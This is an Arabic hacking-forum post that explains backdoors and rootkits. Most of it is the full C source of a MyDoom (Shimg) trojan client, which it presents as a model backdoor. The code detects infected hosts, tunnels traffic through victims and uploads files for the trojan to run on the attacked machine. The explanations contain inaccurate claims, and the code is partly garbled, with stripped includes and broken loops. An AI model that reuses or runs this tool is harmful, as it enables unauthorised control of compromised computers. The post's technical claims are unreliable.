المعلومات | الكاتب: | | اللقب: | المراقب العام | الرتبه: | | الصورة الرمزية | |
الإتصالات | الحالة: | | وسائل الإتصال: | |
| موضوع: تعرف على backdoors وال rootkits
تعرف على backdoors وال rootkits الســــــلام عليكم انا اكتب لكم اليوم مبتعدا عن مواضيع المنتدى التقليديه لان اكثر شيء شجعني على المشاركه بهذا المنتدى هو انه مهتم بالتطوير وليس بالتقليد صراحه انا لا اعلم شيء عن مستوى الهكر العربي لكن اعرف انه عندنا عقول تتفوق على الاجانب اذا وجهت .. موضوع اليوم احببت ان احدثكم عن ما اعرفه عن ال backdoors و ال rootkits وهي مهمه وخطيره اكثر مما تتصورو ,والهدف من هذا الموضوع هو مساعدتكم التعرف على كل شيء بخصهم انشالله طبعا لسوء الحظ ونتيجه لمنديات الاختراق العربيه الكثير بعرفو ال backdoors ,ويظنو انها RAT مثل البيفروست والبويزون لكن هي اهم و اخطر انا كتبت برنامجي ال RAT بلغه VB6 و انا في بداياتي و ما اظن انه اشي خاص او انجاز لكن ال BACKDOOR الحقيقي مكتوبه بلغه اما C او PYTHON . ال BACKDOOR وببساطه بيقوم بفتح SSH حتى يمكنك من عمل مدخل الى النظام. اما ال ROOTKITS فقسمها الى قسمين ROOT:من ROOT ACCOUNT اي الحساب الافتراضي KIT:يعني ان ال رووتكيت رح يخبي نفسه في اعماق النظام حتى لا تتمكن من ايجاده والROOTKITS ادا كانت مكتوبه بشكل جيد يمكنها من نسخ ملفات ال SYSTEM وتؤمن مدخل للBIOS وحتى تغير كامل نظام التشغيل وتوصلك لهدفك. هناك الكثير من انواع الBACKDOORS منها ال RAT لكنه مش مهمه مثل ال SSH ,من انواعها ما يامنلك مدخل ب حساب ROOT الى النظام وعمل شيئ غير مرغوب من قبل برامج الحمايه انا اطلعت على العديد منها ما هو معقد ومنها ما هو بسيط مبرمجه بلغه C البسيط منها بامنلك SSH BACKDOOR بباسورد محدد . JONATHAN JONES المعروف كان عامل SSH BACKDOOR على نظام وزاره الدفاع حتى القي القبض عليه. طبعا backdoors تعمل في عده نواحي يمكن انه تكون مكتوبه بال vb,c,python وحتى بال ++c فرضا لو انك استغرقت يومين باختراق سيرفر شركه و تعبت عليه اكيد مش رح تعيد كل اشي اذا حبيت ترجع تخترقو لا انت بتعمل backdoor عشان تكون العمليه اسرع يعني بتلخص عمل ال backdoors: -تامين المدخل -تنفيذ ال payloads والاوامر -وتسمحلك بالدخول رح اعطيكم اهم مثال شوفو هاد الكود كود: Code: #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include
#define DEFAULT_SHIMG_PORT 3127 #define DEFAULT_PROXY_PORT 6060 #define DEFAULT_LISTEN_PORT 2731 #define DEFAULT_FORWARD_PORT 80 #define HOST_MAXLEN 70 #define TIMEOUT 15
/* Takie dane b d wys ane w celu rozpoznania Shimg */ #define TOUCH_CONTENT {'\001'} /* Takie dane oznaczaj wykrycie Shimg */ #define MYDOOM_FGRPRNT {'\x04','\x5B','\x00','\x00','\x00','\x00','\x00','\x00'}
/* danie uruchomienia programu */ #define RUN_CONTENT {'\x85','\x13','\x3C','\x9E','\xA2'} /* danie zestawienia tunelu */ #define FORW_CONTENT {'\x04','\x01','\x00','\x00','\x00','\x00','\x00','\x00','\000'}
#define PROXY_RESP "HTTP/1.0 200 Connection established"
#ifndef BUFLEN #define BUFLEN 200 #endif
#ifndef HAVE_SIN_LEN /* Na GNU/Linux to ma by 0, na Uniksie to ma by 1 */ #define HAVE_SIN_LEN 0 #endif
const char *ARGV0; struct sockaddr_in VICTIM_ADDR; struct sockaddr_in PROXY_ADDR;
void usage(void); void baner(void); void Blad(const char *str); int Polacz(const struct sockaddr_in *cel); void Do_Touch(void); void Do_Forward(const char *dst, int input); void Do_Run(const char *nazwa); void Nasluchuj(const char *listen_loc, const char *dst); void Ustal_Adres(struct sockaddr_in *dst, const char *src, uint16_t def_port);
int main(int argc, char * const *argv) { int ch; int touch = 0; char *forward = NULL, *run = NULL; char *listen = NULL, *proxy = NULL;
setlocale(LC_ALL, ""); signal(SIGPIPE, SIG_IGN);
if( NULL == (ARGV0 = argv[0]) ) exit(EXIT_FAILURE); if( argc < 2 ) usage();
while( (ch=getopt(argc, argv, "f:r:thl:p:")) != -1 ) { switch(ch) { case 'f': forward = optarg; break; case 'r': run = optarg; break; case 't': touch = 1; break; case 'l': listen = optarg; break; case 'p': proxy = optarg; break; case '?': case 'h': default: usage(); } } argc -= optind; argv += optind; if( argc != 1 ) usage(); if( ! touch && ! forward && ! run ) touch = 1;
baner();
Ustal_Adres(&VICTIM_ADDR, *argv, DEFAULT_SHIMG_PORT); if( proxy ) Ustal_Adres(&PROXY_ADDR, proxy, DEFAULT_PROXY_PORT);
if( touch ) Do_Touch();
if( run ) Do_Run(run);
if( listen && forward ) Nasluchuj(listen, forward); else if( forward ) Do_Forward(forward, 0);
exit(EXIT_SUCCESS); }
/*--------------------------------------------------------- --- Definicje funkcji {{{ --------------------------------- ---------------------------------------------------------*/
/* * Przyjmuje wska nik src na a cuch znak w (ip lub nazwa hosta) * i wype nia struktur sockaddr_in, wskazywan przez dst. */ void Ustal_Adres(struct sockaddr_in *dst, const char *src, uint16_t def_port) { char *port; char Adres[HOST_MAXLEN]; struct hostent *he1;
if( ! src || ! dst ) return;
strncpy(Adres, src, sizeof(Adres)); Adres[sizeof(Adres)-1] = '\0';
memset((void*)dst, '\0', sizeof(*dst));
#if defined(HAVE_SIN_LEN) && HAVE_SIN_LEN != 0 dst->sin_len = sizeof(struct in_addr); #endif dst->sin_family = AF_INET;
if( (port=index(Adres, ':')) && *(port+1) ) { *port = '\0'; dst->sin_port = htons(atoi(port+1)); } else dst->sin_port = htons(def_port);
if( (dst->sin_addr.s_addr=inet_addr(Adres)) == INADDR_NONE ) { he1 = gethostbyname2(Adres, AF_INET); if( ! he1 || ! he1->h_addr_list[0] ) { fprintf(stderr, "B d: Nie uda o si rozpozna podanego adresu (%s).\n", src); exit(EXIT_FAILURE); } dst->sin_addr.s_addr = *(in_addr_t*)(he1->h_addr_list[0]); printf("[i] Nazwa %s wskazuje na adres %s\n", Adres, inet_ntoa(dst->sin_addr)); endhostent(); } }
/* * Wy wietla komunikat o b dze na podstawie warto ci errno */ void Blad(const char *str) { char *buf;
if( ! str ) return;
if( NULL == (buf = malloc(strlen(str)+4+1)) ) exit(EXIT_FAILURE);
sprintf(buf, "[B] %s", str);
perror(buf); exit(EXIT_FAILURE); }
/* * Tworzy gniazdo internetowe i ustanawia po czenie z celem */ int Polacz(const struct sockaddr_in *cel) { int fd; int ver, status, err; FILE *proxy; char buf[80]; struct timeval tv1 = { TIMEOUT, 0 };
if( ! cel ) return -1;
if( PROXY_ADDR.sin_addr.s_addr == (in_addr_t)0 || ( PROXY_ADDR.sin_port == cel->sin_port && PROXY_ADDR.sin_addr.s_addr == cel->sin_addr.s_addr ) ) { /* czenie bezpo rednie */
if( (fd=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 ) Blad("socket()"); if( connect(fd, (struct sockaddr *)cel, sizeof(*cel)) < 0 ) Blad("connect()");
} else { /* Pr ba czenia przez proxy */
fprintf(stderr, "[i] czenie z proxy...\n");
fd = Polacz(&PROXY_ADDR);
if( setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (void*)&tv1, sizeof(tv1)) < 0 ) Blad("setsockopt()"); if( NULL == (proxy=fdopen(fd, "r+")) ) Blad("fdopen()");
fprintf(proxy, "CONNECT %s:%d HTTP/1.1\r\n\r\n", inet_ntoa(cel->sin_addr), ntohs(cel->sin_port));
if( (err=fscanf(proxy, "HTTP/1.%d %d ", &ver, &status)) != 2 || NULL == fgets(buf, sizeof(buf), proxy) || NULL == fgets(buf, sizeof(buf), proxy) ) { if( err != -1 && err != 2 ) { fprintf(stderr, "[B] Niezrozumia a odpowied od serwera proxy.\n"); exit(EXIT_FAILURE); } else if( errno == EWOULDBLOCK ) { fprintf(stderr, "[B] Brak odpowiedzi od proxy w ci gu %ds\n", TIMEOUT); exit(EXIT_FAILURE); } else Blad("fgets()"); }
if( ver != 0 && ver != 1 ) { fprintf(stderr, "[B] B dna odpowied od proxy.\n"); exit(EXIT_FAILURE); }
if( status != 200 ) { fprintf(stderr, "[B] Proxy nie uda o si nawi za po czenia.\n"); fprintf(stderr, "[B] Status odpowiedzi od serwera: %d\n", status); exit(EXIT_FAILURE); }
printf("[i] Serwer proxy ustanowi po czenie.\n");
}
return fd; }
/* * Otwiera port na adresie listen_loc i serwuje cz cym si klientom * tunelowane po czenie z dst. */ void Nasluchuj(const char *listen_loc, const char *dst) { int listen_fd, client_fd; struct sockaddr_in listen_addr, client_addr; socklen_t addr_len = sizeof(struct sockaddr_in);
if( ! listen_loc || ! *listen_loc ) return;
Ustal_Adres(&listen_addr, listen_loc, DEFAULT_LISTEN_PORT);
if( (listen_fd=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 ) Blad("socket()"); if( bind(listen_fd, (struct sockaddr*)&listen_addr, sizeof(listen_addr)) < 0 ) Blad("bind()"); if( listen(listen_fd, 3) < 0 ) Blad("listen()");
fprintf(stderr, " [*] Oczekiwanie na po czenie klienta...\n");
if( (client_fd=accept(listen_fd, (struct sockaddr *) &client_addr, &addr_len)) < 0 ) Blad("accept()");
fprintf(stderr, "[i] Nadesz o po czenie z %s:%d...\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
Do_Forward(dst, client_fd); }
/* * Sprawdzenie, czy na serwerze dzia a Shimg */ void Do_Touch(void) { int fd, n, len; char zapyt[] = TOUCH_CONTENT; char oczek[] = MYDOOM_FGRPRNT; char odpow[sizeof(oczek)]; struct timeval tv1 = { TIMEOUT, 0 };
printf(" [*] Sprawdzanie dost pno ci portu %d na serwerze %s...\n", ntohs(VICTIM_ADDR.sin_port), inet_ntoa(VICTIM_ADDR.sin_addr));
fd = Polacz(&VICTIM_ADDR);
if( send(fd, (void*)zapyt, sizeof(zapyt), 0) != sizeof(zapyt) ) Blad("send()");
if( setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (void*)&tv1, sizeof(tv1)) < 0 ) Blad("setsockopt()");
if( (len=recv(fd, (void*)odpow, sizeof(odpow), 0)) < 0 ) { if( errno == EWOULDBLOCK ) { fprintf(stderr, "[B] Port otwarty, ale brak odpowiedzi w ci gu %ds\n", TIMEOUT); exit(EXIT_FAILURE); } else Blad("recv()"); }
printf("[i] Odpowied od serwera:\n[i] "); if( len ) for( n=0; n printf("0x%X ", odpow[n]); else printf("(brak)"); printf("\n");
if( len != sizeof(oczek) || memcmp(odpow, oczek, sizeof(oczek) ) ) printf("[!] Port otwarty, ale odpowied nie przypomina trojana MyDoom.\n"); else printf("[!] W podanym po o eniu dzia a trojan MyDoom (shimg).\n");
if( close(fd) < 0 ) Blad("close()");
}
/* * Zestawienie tunelu do dst, wykorzystuj c komputer z Shimg jako proxy * input to deskryptor, z kt rego przychodz dane do przesy ania. */ void Do_Forward(const char *dst, int input) { int victim_fd; int wczytane, zapisane; struct sockaddr_in cel; char HEADER[] = FORW_CONTENT; char RESP[sizeof(HEADER) - 1]; char bufor; int max; fd_set orig_rdfds, rdfds;
if( ! dst || ! *dst ) return;
Ustal_Adres(&cel, dst, DEFAULT_FORWARD_PORT); *(uint16_t*)&(HEADER[2]) = cel.sin_port; *(uint32_t*)&(HEADER[4]) = cel.sin_addr.s_addr;
printf(" [*] Ustanawianie po czenia z %s:%d ", inet_ntoa(cel.sin_addr), ntohs(cel.sin_port)); printf("poprzez %s:%d...\n", inet_ntoa(VICTIM_ADDR.sin_addr), ntohs(VICTIM_ADDR.sin_port));
victim_fd = Polacz(&VICTIM_ADDR);
if( write(victim_fd, (void*)HEADER, sizeof(HEADER)) != sizeof(HEADER) ) Blad("write()"); if( read(victim_fd, (void*)RESP, sizeof(RESP)) < 0 ) Blad("read()");
HEADER[1] = 0x5A; if( memcmp( HEADER, RESP, sizeof(RESP) ) ) { printf("[B] Trojan Shimg odpowiedzia , e nie mo e si po czy .\n"); exit(EXIT_FAILURE); } printf("[!] Trojan Shimg odpowiedzia , e nawi za po czenie.\n");
if( fcntl(victim_fd, F_SETFL, O_NONBLOCK) < 0 ) Blad("fcntl()"); if( fcntl(input, F_SETFL, O_NONBLOCK) < 0 ) Blad("fcntl()");
max = ( (victim_fd>input)?victim_fd:input ) + 1; FD_ZERO(&orig_rdfds); FD_SET(victim_fd, &orig_rdfds); FD_SET(input, &orig_rdfds);
for(; { rdfds = orig_rdfds; if( select( max, &rdfds, NULL, NULL, NULL ) < 0 ) Blad("select()");
if( FD_ISSET(input, &rdfds) ) { wczytane = read(input, &bufor, 1); if( wczytane == 0 ) break; else if( wczytane < 0 ) Blad("read()"); do zapisane = write(victim_fd, &bufor, 1); while( zapisane < 0 && errno == EWOULDBLOCK ); if( zapisane < 0 ) Blad("write()"); }
if( FD_ISSET(victim_fd, &rdfds) ) { wczytane = read(victim_fd, &bufor, 1); if( wczytane == 0 ) break; else if( wczytane < 0 ) Blad("read()"); do zapisane = write(input, &bufor, 1); while( zapisane < 0 && errno == EWOULDBLOCK ); if( zapisane < 0 ) Blad("write()"); } }
if( close(victim_fd) < 0 ) Blad("close()");
printf("\n [*] Po czenie zosta o zamkni te.\n");
}
/* * Wys anie programu do trojana i dania uruchomienia */ void Do_Run(const char *nazwa) { int serw, plik; int wczytane; char RUN[] = RUN_CONTENT; char bufor[BUFLEN];
if( ! nazwa || ! *nazwa ) return;
printf(" [*] Wysy anie pliku (%s) do uruchomienia przez trojana...\n", nazwa);
if( (plik = open(nazwa, O_RDONLY)) < 0 ) Blad("open()"); serw = Polacz(&VICTIM_ADDR);
if( send(serw, (void*)RUN, sizeof(RUN), 0) != sizeof(RUN) ) Blad("send()");
do { wczytane = read(plik, (void*)bufor, sizeof(bufor)); if( wczytane < 0 ) Blad("read()"); if( write(serw, (void*)bufor, wczytane) != wczytane ) Blad("write()"); } while( wczytane );
if( close(plik) < 0 ) Blad("close()"); if( close(serw) < 0 ) Blad("close()");
printf("[!] OK. Plik zosta przes any na podany adres.\n"); }
void baner(void) { printf("--------------------------------------------------\n"); printf("**** klient MyDoom.c (shimg) *****\n"); printf("**** nie 01 lut 2004 21:27:20 CET *****\n"); printf("**** Robert Nowotniak *****\n"); printf("--------------------------------------------------\n"); printf("*** Program _WY CZNIE_ do cel w edukacyjnych. ***\n"); printf("--------------------------------------------------\n"); printf("\n"); }
void usage(void) { fprintf(stderr, "\n"); fprintf(stderr, " U ycie:\n"); fprintf(stderr, "%s [-t] [[-l ] -f ]\n" "\t[-p ] [-r ] \n", ARGV0); fprintf(stderr, "\n"); fprintf(stderr, " -t Sprawdzenie, czy w podanej lokalizacji dzia a trojan MyDoom (shimg)\n"); fprintf(stderr, " -f Zestawienie tunelowanego po czenia z Adresem_Docelowym (forwarding)\n"); fprintf(stderr, " -r Uruchomienie podanego na atakowanym komputerze\n"); fprintf(stderr, " -p Wykonywanie wszyskich dzia a przez proxy (metoda CONNECT)\n"); fprintf(stderr, " -l Nas uchiwanie na porcie w celu tunelowania\n"); fprintf(stderr, "\n");
exit(EXIT_FAILURE); } ---------------------------- هذا احسن مثال على backdoor مكتوب بال c اما ال root kits كما شرحت سابقا هي مصممه لعمل ضرر او خلل بنضام الحمايه ك مستخدم مدير admin فاذا نجحت ال rootkit ستتخطى اي حمايه بصفة المدير وتدخل الregestery وكل ملفات الوندوز .. االانواع كثيره هالايام منها انها تبطئ النظام او تؤمن مدخل الى المعلومات الشخصيه والكثير الكثير, ال rootkits ممكن يتم استخدامها ك botnet والتحكم بنظام zombie لكن لما تسال عن ال rootkits هي 4 انواع رئيسيه : kernal :هي اللي تحدثنا عنها بالبدايه حيث تقوم بتغيير او اضافه كود الى نظام التشغيل وهدا النوع خطير جدا حيث لها الصلاحيه لتعمل ما تريد firmware هذا النوغ بستخدم ال firmware عشان تختبىء فيه لانه ال فيرم ويير لا يتم فحصه اي انه لا يتم ايجادها غالبا bootloader تقوم باستبدال ال bootloader المستخدم حاليا باbootloader الخاص بمبرمج ال rootkit library تستبدل ال sysytem calls ب اكواد المصمم application تقوم باستبدال ملفات exe وال binaries بالكود الخاص بالمبرمج او بتروجان ال rootkits تعمل بطريق مماثله لل backdoors كلاهما يشق طريقه نحو النظام وتحصل على مستخدم مدير حتتى تتحكم بكامل النظام ال rootkits يمكنها انه تادي العديد من الاوامر فمثلا ال كود بالعلى يستخدم ك دوده او worm حيث يرسل نفسه الى كل ايميلات الضحيه و مش دايما بكون فيها نفس الامر منها ما ينتظر حتى اللحظه المناسبه وبعدها بهاجم النظام اذا بتلخص عمل ال rootkits ب : -اصابه المضيف -دفن نفسها والاختباء -الانتشار بالنظام -الحصول على تصريح المدير -وتنفيذ ما يريده الهاكر او المصمم
هذا كان شرح بسيط مني اخوكم themagician1970 ,وانشالله اوفق وانهي تصميم ال rootkit الخاص بي goodluck and best wishes |